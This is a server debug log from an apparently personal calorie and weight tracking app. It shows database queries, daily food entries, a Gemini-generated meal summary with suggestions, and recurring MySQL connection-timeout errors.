    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
  },
  {
    id: 465,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple,Pear',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
  },
  {
    id: 466,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios (in moderation)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
  }
]
2025-12-20T06:24:10.639Z server-connect:app Executing action step setvalue
2025-12-20T06:24:10.639Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T06:24:10.639Z server-connect:output var_total: 860
2025-12-20T06:24:10.639Z server-connect:app Executing action step setvalue
2025-12-20T06:24:10.639Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T06:24:10.639Z server-connect:output var_consumed: 36
2025-12-20T06:24:10.639Z server-connect:app Executing action step setvalue
2025-12-20T06:24:10.639Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T06:24:10.639Z server-connect:output var_deficit: 1540
2025-12-20T06:24:10.639Z server-connect:app Executing action step custom
2025-12-20T06:24:10.639Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T06:24:10.640Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '860',
    surplus_or_deficit: '1540',
    status_flag: 2
  }
]
2025-12-20T06:24:11.475Z server-connect:app Executing action step identify
2025-12-20T06:24:11.475Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:11.475Z server-connect:output identity: 1
2025-12-20T06:24:12.441Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-20T06:24:12.441Z server-connect:app Executing action step identify
2025-12-20T06:24:12.441Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:12.441Z server-connect:output identity: 1
2025-12-20T06:24:12.441Z server-connect:app Executing action step restrict
2025-12-20T06:24:12.441Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:12.442Z server-connect:output restrict: undefined
2025-12-20T06:24:12.442Z server-connect:app Executing action step select
2025-12-20T06:24:12.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-20T06:24:12.443Z server-connect:output items_consumed_today: [
  {
    id: 460,
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 461,
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm'
  },
  {
    id: 462,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)'
  },
  {
    id: 463,
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)'
  },
  {
    id: 464,
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)'
  },
  {
    id: 465,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)'
  },
  {
    id: 466,
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)'
  }
]
2025-12-20T06:24:12.443Z server-connect:app Executing action step paged
2025-12-20T06:24:12.443Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-20T06:24:12.445Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 16,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' }
  ]
}
2025-12-20T06:24:12.445Z server-connect:app Executing action step run
2025-12-20T06:24:12.445Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T06:24:12.446Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '\n'
2025-12-20T06:24:12.446Z server-connect:app Executing action step run
2025-12-20T06:24:12.446Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T06:24:12.446Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T06:24:12.446Z server-connect:app Executing action step setvalue
2025-12-20T06:24:12.446Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-20T06:24:12.447Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T06:24:12.447Z server-connect:app Executing action step processWithGemini
2025-12-20T06:24:12.447Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-20T06:24:14.048Z server-connect:output health_summary: {
  summary: "Today's food intake shows a good inclusion of protein sources, particularly paneer and whey, which aligns well with muscle development goals. The meal timing appears spread out, supporting consistent energy levels. However, the overall volume of food seems moderate, and incorporating more fiber-rich options would be beneficial for satiety and digestion. Continued adherence to this pattern could lead to gradual progress.",
  rating: 7,
  good_points: [
    'Inclusion of paneer and whey protein for muscle support.',
    'Pre-workout supplement taken, indicating preparation for exercise.',
    'Meals appear to be spaced throughout the day.'
  ],
  bad_points: [
    'Limited variety in food items consumed.',
    'Lack of significant vegetable or complex carbohydrate sources.',
    'Potential for higher protein intake to further support muscle development.'
  ],
  suggestions: [
    'Aim to incorporate a larger portion of vegetables with meals.',
    'Consider adding whole grains or complex carbohydrates to meals for sustained energy.',
    'Explore other lean protein sources to diversify intake.',
    'Ensure adequate hydration throughout the day.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 69.8
}
2025-12-20T06:24:14.048Z server-connect:app Executing action step condition
2025-12-20T06:24:14.048Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-20T06:24:14.048Z server-connect:app Executing action step delete
2025-12-20T06:24:14.048Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-20T06:24:14.049Z server-connect:output delete: { affected: 1 }
2025-12-20T06:24:14.050Z server-connect:app Executing action step insert
2025-12-20T06:24:14.050Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-20T06:24:14.050Z server-connect:output insert: { affected: 1, identity: 46 }
2025-12-20T06:24:14.050Z server-connect:output condition: undefined
2025-12-20T06:24:14.322Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T06:24:14.323Z server-connect:app Executing action step identify
2025-12-20T06:24:14.323Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:14.323Z server-connect:output identity: 1
2025-12-20T06:24:14.323Z server-connect:app Executing action step restrict
2025-12-20T06:24:14.323Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:14.323Z server-connect:output restrict: undefined
2025-12-20T06:24:14.323Z server-connect:app Executing action step single
2025-12-20T06:24:14.323Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T06:24:14.324Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake shows a good inclusion of protein sources, particularly paneer and whey, which aligns well with muscle development goals. The meal timing appears spread out, supporting consistent energy levels. However, the overall volume of food seems moderate, and incorporating more fiber-rich options would be beneficial for satiety and digestion. Continued adherence to this pattern could lead to gradual progress.",
    bad_points: [
      'Limited variety in food items consumed.',
      'Lack of significant vegetable or complex carbohydrate sources.',
      'Potential for higher protein intake to further support muscle development.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Pre-workout supplement taken, indicating preparation for exercise.',
      'Meals appear to be spaced throughout the day.'
    ],
    suggestions: [
      'Aim to incorporate a larger portion of vegetables with meals.',
      'Consider adding whole grains or complex carbohydrates to meals for sustained energy.',
      'Explore other lean protein sources to diversify intake.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T06:25:23.305Z server-connect:app Executing action step identify
2025-12-20T06:25:23.305Z server-connect:app options: { provider: 'security' }
2025-12-20T06:25:23.305Z server-connect:output identity: 1
2025-12-20T06:25:25.415Z server-connect:app Executing action step identify
2025-12-20T06:25:25.415Z server-connect:app options: { provider: 'security' }
2025-12-20T06:25:25.415Z server-connect:output identity: 1
2025-12-20T06:31:25.228Z server-connect:app Executing action step identify
2025-12-20T06:31:25.228Z server-connect:app options: { provider: 'security' }
2025-12-20T06:31:25.228Z server-connect:output identity: 1
2025-12-20T06:31:27.785Z server-connect:app Executing action step identify
2025-12-20T06:31:27.786Z server-connect:app options: { provider: 'security' }
2025-12-20T06:31:27.786Z server-connect:output identity: 1
2025-12-20T06:35:54.225Z server-connect:app Executing action step identify
2025-12-20T06:35:54.225Z server-connect:app options: { provider: 'security' }
2025-12-20T06:35:54.225Z server-connect:output identity: 1
2025-12-20T06:35:56.446Z server-connect:app Executing action step identify
2025-12-20T06:35:56.446Z server-connect:app options: { provider: 'security' }
2025-12-20T06:35:56.446Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 06:45:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 06:45:43' as DATETIME)"
}
2025-12-20T06:46:01.056Z server-connect:app Executing action step identify
2025-12-20T06:46:01.056Z server-connect:app options: { provider: 'security' }
2025-12-20T06:46:01.057Z server-connect:output identity: 1
2025-12-20T06:46:03.437Z server-connect:app Executing action step identify
2025-12-20T06:46:03.437Z server-connect:app options: { provider: 'security' }
2025-12-20T06:46:03.437Z server-connect:output identity: 1
2025-12-20T06:52:50.226Z server-connect:app Executing action step identify
2025-12-20T06:52:50.226Z server-connect:app options: { provider: 'security' }
2025-12-20T06:52:50.226Z server-connect:output identity: 1
2025-12-20T06:52:52.362Z server-connect:app Executing action step identify
2025-12-20T06:52:52.362Z server-connect:app options: { provider: 'security' }
2025-12-20T06:52:52.362Z server-connect:output identity: 1
2025-12-20T06:59:22.229Z server-connect:app Executing action step identify
2025-12-20T06:59:22.229Z server-connect:app options: { provider: 'security' }
2025-12-20T06:59:22.230Z server-connect:output identity: 1
2025-12-20T06:59:24.420Z server-connect:app Executing action step identify
2025-12-20T06:59:24.420Z server-connect:app options: { provider: 'security' }
2025-12-20T06:59:24.420Z server-connect:output identity: 1
2025-12-20T07:11:17.234Z server-connect:app Executing action step identify
2025-12-20T07:11:17.234Z server-connect:app options: { provider: 'security' }
2025-12-20T07:11:17.234Z server-connect:output identity: 1
2025-12-20T07:11:19.641Z server-connect:app Executing action step identify
2025-12-20T07:11:19.641Z server-connect:app options: { provider: 'security' }
2025-12-20T07:11:19.641Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 07:16:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 07:16:17' as DATETIME)"
}
2025-12-20T07:18:16.223Z server-connect:app Executing action step identify
2025-12-20T07:18:16.223Z server-connect:app options: { provider: 'security' }
2025-12-20T07:18:16.223Z server-connect:output identity: 1
2025-12-20T07:18:19.400Z server-connect:app Executing action step identify
2025-12-20T07:18:19.400Z server-connect:app options: { provider: 'security' }
2025-12-20T07:18:19.400Z server-connect:output identity: 1
2025-12-20T07:27:52.232Z server-connect:app Executing action step identify
2025-12-20T07:27:52.232Z server-connect:app options: { provider: 'security' }
2025-12-20T07:27:52.232Z server-connect:output identity: 1
2025-12-20T07:27:54.372Z server-connect:app Executing action step identify
2025-12-20T07:27:54.372Z server-connect:app options: { provider: 'security' }
2025-12-20T07:27:54.372Z server-connect:output identity: 1
2025-12-20T07:37:24.226Z server-connect:app Executing action step identify
2025-12-20T07:37:24.226Z server-connect:app options: { provider: 'security' }
2025-12-20T07:37:24.226Z server-connect:output identity: 1
2025-12-20T07:37:26.554Z server-connect:app Executing action step identify
2025-12-20T07:37:26.554Z server-connect:app options: { provider: 'security' }
2025-12-20T07:37:26.554Z server-connect:output identity: 1
2025-12-20T07:47:05.220Z server-connect:app Executing action step identify
2025-12-20T07:47:05.221Z server-connect:app options: { provider: 'security' }
2025-12-20T07:47:05.221Z server-connect:output identity: 1
2025-12-20T07:47:07.480Z server-connect:app Executing action step identify
2025-12-20T07:47:07.480Z server-connect:app options: { provider: 'security' }
2025-12-20T07:47:07.481Z server-connect:output identity: 1
2025-12-20T07:54:40.966Z server-connect:app Executing action step identify
2025-12-20T07:54:40.966Z server-connect:app options: { provider: 'security' }
2025-12-20T07:54:40.966Z server-connect:output identity: 1
2025-12-20T07:54:43.475Z server-connect:app Executing action step identify
2025-12-20T07:54:43.475Z server-connect:app options: { provider: 'security' }
2025-12-20T07:54:43.475Z server-connect:output identity: 1
2025-12-20T07:54:46.956Z server-connect:app Executing action step identify
